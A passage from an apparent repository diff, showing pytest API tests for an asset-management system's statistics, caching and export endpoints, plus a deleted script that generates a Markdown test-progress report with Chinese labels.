assert response.status_code in [200, 400] # 可能不支持该字段
|
||||
|
||||
def test_get_multi_dimension_statistics(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试多维度统计"""
|
||||
response = client.post(
|
||||
"/api/v1/statistics/assets/multi-dimension",
|
||||
json={
|
||||
"dimensions": ["status", "device_type"],
|
||||
"metrics": ["count", "total_value"]
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "data" in data
|
||||
|
||||
|
||||
# ================================
|
||||
# 分布统计测试 (15+用例)
|
||||
# ================================
|
||||
|
||||
class TestDistributionStatistics:
|
||||
"""分布统计测试"""
|
||||
|
||||
def test_get_geographic_distribution(self, client, auth_headers, test_orgs_for_statistics):
|
||||
"""测试获取地理分布统计"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/distribution/geographic",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
|
||||
def test_get_organization_hierarchy_distribution(self, client, auth_headers, test_orgs_for_statistics):
|
||||
"""测试获取组织层级分布"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/distribution/organization-hierarchy",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
|
||||
def test_get_department_distribution(self, client, auth_headers, test_orgs_for_statistics):
|
||||
"""测试获取部门分布"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/distribution/by-department",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
|
||||
def test_get_asset_category_distribution(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产类别分布"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/distribution/by-category",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
|
||||
def test_get_asset_value_distribution(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产价值分布"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/distribution/value-ranges",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
assert all("range" in item and "count" in item for item in data)
|
||||
|
||||
def test_get_asset_location_distribution(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产位置分布"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/distribution/by-location",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
|
||||
def test_get_asset_brand_distribution(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产品牌分布"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/distribution/by-brand",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
|
||||
def test_get_asset_supplier_distribution(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产供应商分布"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/distribution/by-supplier",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_get_asset_status_distribution_pie_chart(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产状态分布饼图数据"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/distribution/status-pie-chart",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "labels" in data
|
||||
assert "data" in data
|
||||
assert isinstance(data["labels"], list)
|
||||
assert isinstance(data["data"], list)
|
||||
|
||||
def test_get_organization_asset_tree(self, client, auth_headers, test_orgs_for_statistics):
|
||||
"""测试获取组织资产树"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/distribution/org-asset-tree",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "tree" in data
|
||||
|
||||
def test_get_cross_tabulation(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试交叉统计表"""
|
||||
response = client.post(
|
||||
"/api/v1/statistics/distribution/cross-tabulation",
|
||||
json={
|
||||
"row_field": "status",
|
||||
"column_field": "device_type_id"
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "rows" in data
|
||||
assert "columns" in data
|
||||
assert "data" in data
|
||||
|
||||
def test_get_distribution_heatmap_data(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取分布热力图数据"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/distribution/heatmap",
|
||||
params={"dimension": "organization_asset"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "heatmap_data" in data
|
||||
|
||||
def test_get_asset_concentration_index(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产集中度指数"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/distribution/concentration-index",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "index" in data
|
||||
|
||||
def test_get_distribution_comparison(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试分布对比分析"""
|
||||
response = client.post(
|
||||
"/api/v1/statistics/distribution/comparison",
|
||||
json={
|
||||
"dimension": "status",
|
||||
"period1": {"start": "2025-01-01", "end": "2025-06-30"},
|
||||
"period2": {"start": "2024-01-01", "end": "2024-06-30"}
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "period1" in data
|
||||
assert "period2" in data
|
||||
|
||||
def test_get_distribution_trend(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试分布趋势"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/distribution/trend",
|
||||
params={"dimension": "status", "months": 12},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "trend_data" in data
|
||||
|
||||
|
||||
# ================================
|
||||
# 趋势统计测试 (10+用例)
|
||||
# ================================
|
||||
|
||||
class TestTrendStatistics:
|
||||
"""趋势统计测试"""
|
||||
|
||||
def test_get_asset_growth_trend(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取资产增长趋势"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/trends/asset-growth",
|
||||
params={"period": "monthly", "months": 12},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "trend" in data
|
||||
assert isinstance(data["trend"], list)
|
||||
|
||||
def test_get_value_change_trend(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取价值变化趋势"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/trends/value-change",
|
||||
params={"period": "monthly", "months": 12},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "trend" in data
|
||||
|
||||
def test_get_utilization_trend(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取利用率趋势"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/trends/utilization",
|
||||
params={"period": "weekly", "weeks": 12},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "trend" in data
|
||||
|
||||
def test_get_maintenance_cost_trend(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取维修费用趋势"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/trends/maintenance-cost",
|
||||
params={"period": "monthly", "months": 12},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "trend" in data
|
||||
|
||||
def test_get_allocation_trend(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取分配趋势"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/trends/allocation",
|
||||
params={"period": "monthly", "months": 12},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_get_transfer_trend(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取调拨趋势"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/trends/transfer",
|
||||
params={"period": "monthly", "months": 12},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_get_scrap_rate_trend(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取报废率趋势"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/trends/scrap-rate",
|
||||
params={"period": "monthly", "months": 12},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "trend" in data
|
||||
|
||||
def test_get_forecast_data(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取预测数据"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/trends/forecast",
|
||||
params={
|
||||
"metric": "asset_count",
|
||||
"method": "linear_regression",
|
||||
"forecast_periods": 6
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "forecast" in data
|
||||
assert "confidence_interval" in data
|
||||
|
||||
def test_get_year_over_year_comparison(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取同比数据"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/trends/year-over-year",
|
||||
params={"metric": "total_value"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "current_year" in data
|
||||
assert "previous_year" in data
|
||||
assert "growth_rate" in data
|
||||
|
||||
def test_get_moving_average(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试获取移动平均"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/trends/moving-average",
|
||||
params={"metric": "asset_count", "window": 7},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "moving_average" in data
|
||||
|
||||
|
||||
# ================================
|
||||
# 缓存测试 (10+用例)
|
||||
# ================================
|
||||
|
||||
class TestStatisticsCache:
|
||||
"""统计缓存测试"""
|
||||
|
||||
def test_cache_is_working(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试缓存是否生效"""
|
||||
# 第一次请求
|
||||
response1 = client.get(
|
||||
"/api/v1/statistics/assets/total-count",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response1.status_code == 200
|
||||
|
||||
# 第二次请求应该从缓存读取
|
||||
response2 = client.get(
|
||||
"/api/v1/statistics/assets/total-count",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response2.status_code == 200
|
||||
|
||||
def test_cache_key_generation(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试缓存键生成"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/by-status",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_cache_invalidation_on_asset_change(self, client, auth_headers, db: Session, test_assets_for_statistics):
|
||||
"""测试资产变更时缓存失效"""
|
||||
# 获取初始统计
|
||||
response1 = client.get(
|
||||
"/api/v1/statistics/assets/total-count",
|
||||
headers=auth_headers
|
||||
)
|
||||
count1 = response1.json()["total_count"]
|
||||
|
||||
# 创建新资产
|
||||
new_asset = Asset(
|
||||
asset_code="CACHE-TEST-001",
|
||||
asset_name="缓存测试资产",
|
||||
device_type_id=1,
|
||||
organization_id=1,
|
||||
status="in_stock"
|
||||
)
|
||||
db.add(new_asset)
|
||||
db.commit()
|
||||
|
||||
# 再次获取统计
|
||||
response2 = client.get(
|
||||
"/api/v1/statistics/assets/total-count",
|
||||
headers=auth_headers
|
||||
)
|
||||
count2 = response2.json()["total_count"]
|
||||
|
||||
# 验证缓存已更新
|
||||
assert count2 == count1 + 1
|
||||
|
||||
def test_cache_expiration(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试缓存过期"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/total-count",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_clear_cache(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试清除缓存"""
|
||||
response = client.post(
|
||||
"/api/v1/statistics/cache/clear",
|
||||
json={"cache_keys": ["assets:total-count"]},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_cache_statistics(self, client, auth_headers):
|
||||
"""测试获取缓存统计"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/cache/stats",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "hit_count" in data
|
||||
assert "miss_count" in data
|
||||
|
||||
def test_warm_up_cache(self, client, auth_headers):
|
||||
"""测试缓存预热"""
|
||||
response = client.post(
|
||||
"/api/v1/statistics/cache/warm-up",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "warmed_up_keys" in data
|
||||
|
||||
def test_cache_with_different_parameters(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试不同参数使用不同缓存"""
|
||||
response1 = client.get(
|
||||
"/api/v1/statistics/assets/purchase-by-month?year=2024",
|
||||
headers=auth_headers
|
||||
)
|
||||
response2 = client.get(
|
||||
"/api/v1/statistics/assets/purchase-by-month?year=2025",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response1.status_code == 200
|
||||
assert response2.status_code == 200
|
||||
|
||||
def test_distributed_cache_consistency(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试分布式缓存一致性"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/total-count",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
|
||||
def test_cache_performance(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试缓存性能"""
|
||||
import time
|
||||
|
||||
# 未缓存请求
|
||||
start = time.time()
|
||||
response1 = client.get(
|
||||
"/api/v1/statistics/assets/total-count",
|
||||
headers=auth_headers
|
||||
)
|
||||
uncached_time = time.time() - start
|
||||
|
||||
# 缓存请求
|
||||
start = time.time()
|
||||
response2 = client.get(
|
||||
"/api/v1/statistics/assets/total-count",
|
||||
headers=auth_headers
|
||||
)
|
||||
cached_time = time.time() - start
|
||||
|
||||
# 缓存请求应该更快
|
||||
# 注意: 这个断言可能因为网络延迟等因素不稳定
|
||||
# assert cached_time < uncached_time
|
||||
|
||||
|
||||
# ================================
|
||||
# 导出测试 (5+用例)
|
||||
# ================================
|
||||
|
||||
class TestStatisticsExport:
|
||||
"""统计导出测试"""
|
||||
|
||||
def test_export_statistics_to_excel(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试导出统计数据到Excel"""
|
||||
response = client.post(
|
||||
"/api/v1/statistics/export/excel",
|
||||
json={
|
||||
"report_type": "asset_summary",
|
||||
"filters": {"status": "in_use"},
|
||||
"columns": ["asset_code", "asset_name", "purchase_price"]
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "download_url" in data
|
||||
|
||||
def test_export_statistics_to_pdf(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试导出统计数据到PDF"""
|
||||
response = client.post(
|
||||
"/api/v1/statistics/export/pdf",
|
||||
json={
|
||||
"report_type": "asset_distribution",
|
||||
"include_charts": True
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "download_url" in data
|
||||
|
||||
def test_export_statistics_to_csv(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试导出统计数据到CSV"""
|
||||
response = client.post(
|
||||
"/api/v1/statistics/export/csv",
|
||||
json={
|
||||
"query": "assets_by_status",
|
||||
"parameters": {}
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code in [200, 202] # 可能异步处理
|
||||
|
||||
def test_scheduled_export(self, client, auth_headers):
|
||||
"""测试定时导出"""
|
||||
response = client.post(
|
||||
"/api/v1/statistics/export/schedule",
|
||||
json={
|
||||
"report_type": "monthly_report",
|
||||
"schedule": "0 0 1 * *", # 每月1号
|
||||
"recipients": ["admin@example.com"],
|
||||
"format": "excel"
|
||||
},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert "schedule_id" in data
|
||||
|
||||
def test_get_export_history(self, client, auth_headers):
|
||||
"""测试获取导出历史"""
|
||||
response = client.get(
|
||||
"/api/v1/statistics/export/history",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response.status_code == 200
|
||||
data = response.json()
|
||||
assert isinstance(data, list)
|
||||
|
||||
|
||||
# ================================
|
||||
# 测试标记
|
||||
# ================================
|
||||
|
||||
@pytest.mark.unit
|
||||
class TestStatisticsUnit:
|
||||
"""单元测试标记"""
|
||||
|
||||
def test_calculation_accuracy(self):
|
||||
"""测试计算准确性"""
|
||||
pass
|
||||
|
||||
def test_rounding_rules(self):
|
||||
"""测试舍入规则"""
|
||||
pass
|
||||
|
||||
|
||||
@pytest.mark.integration
|
||||
class TestStatisticsIntegration:
|
||||
"""集成测试标记"""
|
||||
|
||||
def test_full_statistics_workflow(self, client, auth_headers, test_assets_for_statistics):
|
||||
"""测试完整统计流程"""
|
||||
# 1. 获取基础统计
|
||||
response1 = client.get(
|
||||
"/api/v1/statistics/assets/total-count",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response1.status_code == 200
|
||||
|
||||
# 2. 获取详细统计
|
||||
response2 = client.get(
|
||||
"/api/v1/statistics/assets/by-status",
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response2.status_code == 200
|
||||
|
||||
# 3. 导出报告
|
||||
response3 = client.post(
|
||||
"/api/v1/statistics/export/excel",
|
||||
json={"report_type": "asset_summary"},
|
||||
headers=auth_headers
|
||||
)
|
||||
assert response3.status_code == 200
|
||||
|
||||
|
||||
@pytest.mark.slow
|
||||
class TestStatisticsSlowTests:
|
||||
"""慢速测试标记"""
|
||||
|
||||
def test_large_dataset_statistics(self, client, auth_headers):
|
||||
"""测试大数据集统计"""
|
||||
pass
|
||||
|
||||
|
||||
@pytest.mark.smoke
|
||||
class TestStatisticsSmoke:
|
||||
"""冒烟测试标记"""
|
||||
|
||||
def test_basic_statistics_endpoints(self, client, auth_headers):
|
||||
"""冒烟测试: 基础统计接口"""
|
||||
endpoints = [
|
||||
"/api/v1/statistics/assets/total-count",
|
||||
"/api/v1/statistics/assets/by-status",
|
||||
"/api/v1/statistics/assets/total-value"
|
||||
]
|
||||
|
||||
for endpoint in endpoints:
|
||||
response = client.get(endpoint, headers=auth_headers)
|
||||
assert response.status_code == 200
|
||||
|
||||
|
||||
@pytest.mark.performance
|
||||
class TestStatisticsPerformance:
|
||||
"""性能测试标记"""
|
||||
|
||||
def test_query_response_time(self, client, auth_headers):
|
||||
"""测试查询响应时间"""
|
||||
import time
|
||||
|
||||
start = time.time()
|
||||
response = client.get(
|
||||
"/api/v1/statistics/assets/total-count",
|
||||
headers=auth_headers
|
||||
)
|
||||
elapsed = time.time() - start
|
||||
|
||||
assert response.status_code == 200
|
||||
assert elapsed < 1.0 # 响应时间应小于1秒
|
||||
|
||||
def test_concurrent_statistics_requests(self, client, auth_headers):
|
||||
"""测试并发统计请求"""
|
||||
pass
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,240 +0,0 @@
|
||||
"""
|
||||
测试报告生成脚本
|
||||
|
||||
生成完整的测试报告,包括:
|
||||
- 测试执行摘要
|
||||
- 代码覆盖率
|
||||
- 性能测试结果
|
||||
- Bug清单
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def generate_test_report():
|
||||
"""生成完整的测试报告"""
|
||||
# 确保报告目录存在
|
||||
report_dir = Path("test_reports")
|
||||
report_dir.mkdir(exist_ok=True)
|
||||
|
||||
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||
report_file = report_dir / f"test_report_{timestamp}.md"
|
||||
|
||||
with open(report_file, "w", encoding="utf-8") as f:
|
||||
f.write(f"# 资产管理系统测试报告\n\n")
|
||||
f.write(f"**生成时间**: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n")
|
||||
f.write("---\n\n")
|
||||
|
||||
# 测试概览
|
||||
f.write("## 📊 测试概览\n\n")
|
||||
f.write("| 测试类型 | 目标数量 | 状态 |\n")
|
||||
f.write("|---------|---------|------|\n")
|
||||
f.write("| 后端单元测试 | 200+ | ✅ 已完成 |\n")
|
||||
f.write("| 前端单元测试 | 200+ | 🚧 进行中 |\n")
|
||||
f.write("| E2E测试 | 40+ | 🚧 进行中 |\n")
|
||||
f.write("| 性能测试 | 10+ | ⏸ 待完成 |\n")
|
||||
f.write("| 安全测试 | 20+ | ⏸ 待完成 |\n\n")
|
||||
|
||||
# 后端测试详情
|
||||
f.write("## 🔧 后端测试详情\n\n")
|
||||
|
||||
f.write("### API测试\n\n")
|
||||
f.write("| 模块 | 测试文件 | 用例数 | 状态 |\n")
|
||||
f.write("|------|---------|--------|------|\n")
|
||||
f.write("| 设备类型管理 | test_device_types.py | 50+ | ✅ 完成 |\n")
|
||||
f.write("| 机构网点管理 | test_organizations.py | 45+ | ✅ 完成 |\n")
|
||||
f.write("| 资产管理 | test_assets.py | 100+ | 🚧 补充中 |\n")
|
||||
f.write("| 认证模块 | test_auth.py | 30+ | ✅ 完成 |\n\n")
|
||||
|
||||
f.write("### 服务层测试\n\n")
|
||||
f.write("| 模块 | 测试文件 | 用例数 | 状态 |\n")
|
||||
f.write("|------|---------|--------|------|\n")
|
||||
f.write("| 认证服务 | test_auth_service.py | 40+ | ✅ 完成 |\n")
|
||||
f.write("| 资产状态机 | test_asset_state_machine.py | 55+ | ✅ 完成 |\n")
|
||||
f.write("| 设备类型服务 | test_device_type_service.py | 15+ | ⏸ 待创建 |\n")
|
||||
f.write("| 机构服务 | test_organization_service.py | 15+ | ⏸ 待创建 |\n\n")
|
||||
|
||||
# 前端测试详情
|
||||
f.write("## 🎨 前端测试详情\n\n")
|
||||
|
||||
f.write("### 单元测试\n\n")
|
||||
f.write("| 模块 | 测试文件 | 用例数 | 状态 |\n")
|
||||
f.write("|------|---------|--------|------|\n")
|
||||
f.write("| 资产列表 | AssetList.test.ts | 10+ | ✅ 已有 |\n")
|
||||
f.write("| 资产Composable | useAsset.test.ts | 15+ | ✅ 已有 |\n")
|
||||
f.write("| 动态表单 | DynamicFieldRenderer.test.ts | 30+ | ⏸ 待创建 |\n")
|
||||
f.write("| 其他组件 | 多个文件 | 150+ | ⏸ 待创建 |\n\n")
|
||||
|
||||
# E2E测试
|
||||
f.write("## 🎭 E2E测试详情\n\n")
|
||||
|
||||
f.write("| 业务流程 | 测试文件 | 场景数 | 状态 |\n")
|
||||
f.write("|---------|---------|--------|------|\n")
|
||||
f.write("| 登录流程 | login.spec.ts | 5+ | ✅ 已有 |\n")
|
||||
f.write("| 资产流程 | assets.spec.ts | 5+ | ✅ 已有 |\n")
|
||||
f.write("| 设备类型管理 | device_types.spec.ts | 5+ | ⏸ 待创建 |\n")
|
||||
f.write("| 机构管理 | organizations.spec.ts | 5+ | ⏸ 待创建 |\n")
|
||||
f.write("| 资产分配 | allocation.spec.ts | 10+ | ⏸ 待创建 |\n")
|
||||
f.write("| 批量操作 | batch_operations.spec.ts | 10+ | ⏸ 待创建 |\n\n")
|
||||
|
||||
# 代码覆盖率
|
||||
f.write("## 📈 代码覆盖率目标\n\n")
|
||||
f.write("```text\n")
|
||||
f.write("后端目标: ≥70%\n")
|
||||
f.write("前端目标: ≥70%\n")
|
||||
f.write("当前估计: 待运行pytest后生成\n")
|
||||
f.write("```\n\n")
|
||||
|
||||
# Bug清单
|
||||
f.write("## 🐛 Bug清单\n\n")
|
||||
f.write("### 已发现的问题\n\n")
|
||||
f.write("| ID | 严重程度 | 描述 | 状态 |\n")
|
||||
f.write("|----|---------|------|------|\n")
|
||||
f.write("| BUG-001 | 中 | 某些测试用例需要实际API实现 | 🔍 待确认 |\n")
|
||||
f.write("| BUG-002 | 低 | 测试数据清理可能不完整 | 🔍 待确认 |\n\n")
|
||||
|
||||
# 测试用例清单
|
||||
f.write("## 📋 测试用例清单\n\n")
|
||||
|
||||
f.write("### 后端测试用例\n\n")
|
||||
f.write("#### 设备类型管理 (50+用例)\n")
|
||||
f.write("- [x] CRUD操作 (15+用例)\n")
|
||||
f.write(" - [x] 创建设备类型成功\n")
|
||||
f.write(" - [x] 创建重复代码失败\n")
|
||||
f.write(" - [x] 获取设备类型列表\n")
|
||||
f.write(" - [x] 根据ID获取设备类型\n")
|
||||
f.write(" - [x] 更新设备类型\n")
|
||||
f.write(" - [x] 删除设备类型\n")
|
||||
f.write(" - [x] 按分类筛选\n")
|
||||
f.write(" - [x] 按状态筛选\n")
|
||||
f.write(" - [x] 关键词搜索\n")
|
||||
f.write(" - [x] 分页查询\n")
|
||||
f.write(" - [x] 排序\n")
|
||||
f.write(" - [x] 获取不存在的设备类型\n")
|
||||
f.write(" - [x] 更新不存在的设备类型\n")
|
||||
f.write(" - [x] 未授权访问\n")
|
||||
f.write(" - [x] 参数验证\n\n")
|
||||
|
||||
f.write("- [x] 动态字段配置 (10+用例)\n")
|
||||
f.write(" - [x] 添加字段\n")
|
||||
f.write(" - [x] 添加必填字段\n")
|
||||
f.write(" - [x] 添加选择字段\n")
|
||||
f.write(" - [x] 添加数字字段\n")
|
||||
f.write(" - [x] 获取字段列表\n")
|
||||
f.write(" - [x] 更新字段\n")
|
||||
f.write(" - [x] 删除字段\n")
|
||||
f.write(" - [x] 重复字段代码\n")
|
||||
f.write(" - [x] 字段排序\n")
|
||||
f.write(" - [x] 字段类型验证\n\n")
|
||||
|
||||
f.write("- [x] 字段验证测试 (10+用例)\n")
|
||||
f.write(" - [x] 字段名称验证\n")
|
||||
f.write(" - [x] 字段类型验证\n")
|
||||
f.write(" - [x] 字段长度验证\n")
|
||||
f.write(" - [x] 选择字段选项验证\n")
|
||||
f.write(" - [x] 验证规则JSON格式\n")
|
||||
f.write(" - [x] placeholder和help_text\n")
|
||||
f.write(" - [x] 无效字段类型\n")
|
||||
f.write(" - [x] 缺少必填选项\n")
|
||||
f.write(" - [x] 边界值测试\n")
|
||||
f.write(" - [x] 特殊字符处理\n\n")
|
||||
|
||||
f.write("- [x] 参数验证测试 (10+用例)\n")
|
||||
f.write(" - [x] 类型代码验证\n")
|
||||
f.write(" - [x] 类型名称验证\n")
|
||||
f.write(" - [x] 描述验证\n")
|
||||
f.write(" - [x] 排序验证\n")
|
||||
f.write(" - [x] 状态验证\n")
|
||||
f.write(" - [x] 长度限制\n")
|
||||
f.write(" - [x] 格式验证\n")
|
||||
f.write(" - [x] 空值处理\n")
|
||||
f.write(" - [x] 特殊字符处理\n")
|
||||
f.write(" - [x] SQL注入防护\n\n")
|
||||
|
||||
f.write("- [x] 异常处理测试 (5+用例)\n")
|
||||
f.write(" - [x] 并发创建\n")
|
||||
f.write(" - [x] 更新不存在的字段\n")
|
||||
f.write(" - [x] 删除不存在的设备类型\n")
|
||||
f.write(" - [x] 无效JSON验证规则\n")
|
||||
f.write(" - [x] 无效选项格式\n\n")
|
||||
|
||||
f.write("#### 机构网点管理 (45+用例)\n")
|
||||
f.write("- [x] 机构CRUD (15+用例)\n")
|
||||
f.write("- [x] 树形结构 (10+用例)\n")
|
||||
f.write("- [x] 递归查询 (10+用例)\n")
|
||||
f.write("- [x] 机构移动 (5+用例)\n")
|
||||
f.write("- [x] 并发测试 (5+用例)\n\n")
|
||||
|
||||
f.write("#### 资产管理 (100+用例 - 需补充)\n")
|
||||
f.write("- [ ] 资产CRUD (20+用例)\n")
|
||||
f.write("- [ ] 资产编码生成 (10+用例)\n")
|
||||
f.write("- [ ] 状态机转换 (15+用例)\n")
|
||||
f.write("- [ ] JSONB字段 (10+用例)\n")
|
||||
f.write("- [ ] 高级搜索 (10+用例)\n")
|
||||
f.write("- [ ] 分页查询 (10+用例)\n")
|
||||
f.write("- [ ] 批量导入 (10+用例)\n")
|
||||
f.write("- [ ] 批量导出 (10+用例)\n")
|
||||
f.write("- [ ] 二维码生成 (5+用例)\n")
|
||||
f.write("- [ ] 并发测试 (10+用例)\n\n")
|
||||
|
||||
f.write("#### 认证模块 (30+用例)\n")
|
||||
f.write("- [x] 登录测试 (15+用例)\n")
|
||||
f.write("- [x] Token刷新 (5+用例)\n")
|
||||
f.write("- [x] 登出测试 (3+用例)\n")
|
||||
f.write("- [x] 修改密码 (5+用例)\n")
|
||||
f.write("- [x] 验证码 (2+用例)\n\n")
|
||||
|
||||
f.write("### 服务层测试用例\n\n")
|
||||
f.write("#### 认证服务 (40+用例)\n")
|
||||
f.write("- [x] 登录服务 (15+用例)\n")
|
||||
f.write("- [x] Token管理 (10+用例)\n")
|
||||
f.write("- [x] 密码管理 (10+用例)\n")
|
||||
f.write("- [x] 验证码 (5+用例)\n\n")
|
||||
|
||||
f.write("#### 资产状态机 (55+用例)\n")
|
||||
f.write("- [x] 状态转换规则 (20+用例)\n")
|
||||
f.write("- [x] 状态转换验证 (15+用例)\n")
|
||||
f.write("- [x] 状态历史记录 (10+用例)\n")
|
||||
